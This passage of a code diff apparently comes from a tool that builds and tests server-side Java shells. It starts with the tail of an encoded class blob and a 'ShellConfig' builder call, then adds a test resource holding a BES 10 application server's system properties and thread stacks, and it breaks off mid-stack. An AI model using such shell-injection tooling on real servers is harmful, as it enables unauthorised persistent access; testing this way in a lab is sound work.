QAC/wAtAAQHABoHADsHADwHABAAAQcACQsAKAAAAAYAAgApAD0ACAA+AD8AAgAfAAAA+gAGAAQAAABkEgy4AA1MKxIOBL0AD1kDEhBTtgARK7YABgS9ABJZAypTtgATwAAUsEwSFbgADU0sEhYDvQAPtgARAQO9ABK2ABNOLbYAFxIYBL0AD1kDEhBTtgARLQS9ABJZAypTtgATwAAUsAABAAAAJwAoAAkABAAgAAAAGgAGAAAAIwAGACQAKAAlACkAJgAvACcAQgAoACEAAAA0AAUABgAiAEAAQQABAC8ANQBAAEEAAgBCACIAQgAxAAMAKQA7AEMAMwABAAAAZABEADkAAABFAAAAFgACAAYAIgBAAEYAAQAvADUAQABGAAIAOgAAAAYAAWgHAAkAKAAAAAQAAQAJAAEARwBIAAEAHwAAAC0AAQABAAAAAxIZsAAAAAIAIAAAAAYAAQAAAC4AIQAAAAwAAQAAAAMAIgAjAAAAAQBJAB4AAQAfAAAAKwAAAAEAAAABsQAAAAIAIAAAAAYAAQAAADQAIQAAAAwAAQAAAAEAIgAjAAAAAQBKAAAAAgBL"); String className = CommonUtil.generateClassName(); ShellConfig shellConfig = ShellConfig.builder() diff --git a/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt new file mode 100644 index 00000000..87ab5cd6 --- /dev/null +++ b/integration-test/src/test/resources/infos/Bes10ContainerTestBasicInfo.txt @@ -0,0 +1,817 @@ +# Generated At 2026-08-25 10:42:41 +SystemProps: +java.specification.version: 17 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar +bes.useNaming: true +sun.jnu.encoding: UTF-8 +com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.commons.commons-collections4,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket +com.bes.resource.ejb.leakDetect: false +bes.loader: bes-system +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +sun.boot.library.path: /opt/java/openjdk/lib +com.bes.hostName: 10a3b603cce2 +sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start +jdk.debug: release +java.specification.vendor: Oracle Corporation +java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming +java.version.date: 2026-07-21 +java.home: /opt/java/openjdk +jgroups.loader: "${bes.home}/lib/jgroups/*.jar" +javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem +file.separator: / +javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem +java.vm.compressedOopsMode: 32-bit +javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +com.bes.instanceRoot: /opt/bes +jdbc.drivers: org.apache.derby.jdbc.ClientDriver +package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web. +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +java.runtime.version: 17.0.20+8 +com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory +user.name: root +java.security.policy: /opt/bes/conf/security/server.policy +com.bes.javaRoot: /opt/java/openjdk +file.encoding: UTF-8 +java.vendor.version: Temurin-17.0.20+8 +derby.system.home: /opt/bes +java.io.tmpdir: /tmp +java.version: 17.0.20 +java.vm.specification.name: Java Virtual Machine Specification +native.encoding: UTF-8 +java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64 +java.vendor: Eclipse Adoptium +ANTLR_USE_DIRECT_CLASS_LOADING: true +java.specification.maintenance.version: 1 +java.rmi.server.randomIDs: true +sun.io.unicode.encoding: UnicodeLittle +com.bes.enterprise.embedder.source: ServerListener +bcs.loader: "${bes.home}/lib/bcs/*.jar" +bes.home: /opt/bes +com.bes.enterprise.startup.ExitOnInitFailure: true +javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory +java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.14.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.2.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_5.0.3.jar +java.vm.vendor: Eclipse Adoptium +com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true +bes.base: /opt/bes +user.timezone: Etc/UTC +com.bes.instanceName: server +java.vm.specification.version: 17 +os.name: Linux +sun.java.launcher: SUN_STANDARD +user.country: US +sun.cpu.endian: little +com.bes.enterprise.deployments.classpath: false +user.home: /root +user.language: en +com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider +com.bes.verboseMode: true +com.bes.enterprise.deployments.classpath.filter.systemapps: false +java.awt.headless: true +package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web. +server.loader: +com.bes.enterprise.provider.default: com.bes.enterprise +java.naming.factory.initial: com.bes.jndi.CtxFactory +java.net.preferIPv4Stack: true +path.separator: : +java.security.egd: file:/dev/./urandom +common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar" +os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535 +java.runtime.name: OpenJDK Runtime Environment +org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal +com.bes.resource.leakDetect: false +bes.version: 10.0 +java.vm.name: OpenJDK 64-Bit Server VM +org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +com.bes.installRoot: /opt/bes +com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy +user.dir: /opt/bes +bval.in-container: true +os.arch: aarch64 +shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar" +java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager +org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true +java.vm.info: mixed mode, sharing +java.vm.version: 17.0.20+8 +javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory +java.class.version: 61.0 +com.bes.enterprise.log.outAndErrNotRedirect: false + +=========================================== + +ThreadStacks: +"KeepAliveTimer" #53 daemon [TIMED_WAITING] on java.util.TaskQueue@5c197b53 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.util.TimerThread.mainLoop(Timer.java:563) + at java.base@17.0.20/java.util.TimerThread.run(Timer.java:516) + +"Spark_2" #82 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5b9112b + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:338) + at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285) + at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250) + at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241) + at java.base@17.0.20/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.20/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.20/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.20/java.lang.reflect.Method.invoke(Method.java:569) + at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:510) + at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:641) + at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:37) + +"jmsra-WorkerThread-1" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark-Selector" #79 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.ejb.spark.tcp.transport.SelectorThread.c(SelectorThread.java:289) + at com.bes.ejb.spark.tcp.transport.SelectorThread.startEndpoint(SelectorThread.java:206) + at com.bes.ejb.spark.tcp.transport.AcceptorThread.run(AcceptorThread.java:508) + +"AsyncLoggerDisruptor-1" #18 daemon [TIMED_WAITING] on java.lang.Object@71ac2346 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.Object.wait(Object.java:472) + at app//com.bes.enterprise.base.disruptor.util.Util.awaitNanos(Util.java:132) + at app//com.bes.enterprise.base.disruptor.TimeoutBlockingWaitStrategy.waitFor(TimeoutBlockingWaitStrategy.java:37) + at app//com.bes.enterprise.base.disruptor.ProcessingSequenceBarrier.waitFor(ProcessingSequenceBarrier.java:50) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.processEvents(BatchEventProcessor.java:137) + at app//com.bes.enterprise.base.disruptor.BatchEventProcessor.run(BatchEventProcessor.java:113) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"jmsra-WorkerThread-4" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"AppServer-utility-1" #54 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"HSQLDB Timer @24f4bc74" #76 daemon [TIMED_WAITING] on org.hsqldb.lib.HsqlTimer$TaskQueue@48b0ec41 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at org.hsqldb.lib.HsqlTimer$TaskQueue.park(Unknown Source) + at org.hsqldb.lib.HsqlTimer.nextTask(Unknown Source) + at org.hsqldb.lib.HsqlTimer$TaskRunner.run(Unknown Source) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-4" #63 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-8" #67 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-1900-1" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e311b2e + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"FlushManager" #46 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Thread.sleep(Native Method) + at com.bes.org.objectweb.howl.log.LogBufferManager$FlushManager.run(LogBufferManager.java:1230) + +"RMI GC Daemon" #90 daemon [TIMED_WAITING] on sun.rmi.transport.GC$LatencyLock@1739a027 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.rmi@17.0.20/sun.rmi.transport.GC$Daemon.run(GC.java:127) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.20/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"Stateful cache" #52 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@58a48465 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.20/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Connection-Pool-Create-1797369452" #75 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bfdfea3 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at com.bes.enterprise.gjc.pool.impl.GenericObjectPool$CreateConnectionThread.run(GenericObjectPool.java:1628) + +"RMI Reaper" #89 [WAITING] on java.lang.ref.ReferenceQueue$Lock@7de36c99 + java.lang.Thread.State: WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.20/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:176) + at java.rmi@17.0.20/sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:352) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"httpWorkerThread-8080-1" #60 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@6e17a3b9 + java.lang.Thread.State: WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.20/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.20/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1116) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1178) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:651) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"SelectorReaderThread-8080-1" #70 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.20/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.20/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.20/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:873) + at java.base@17.0.20/java.lang.Thread.run(Thread.java:840) + +"Spark_7" #87 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/java.lang.Object.wait(Native Method) + at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202) + at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59) + +"AppServer-utility-2" #58 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5cd859a + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.20/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.20/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.20/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.20/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at 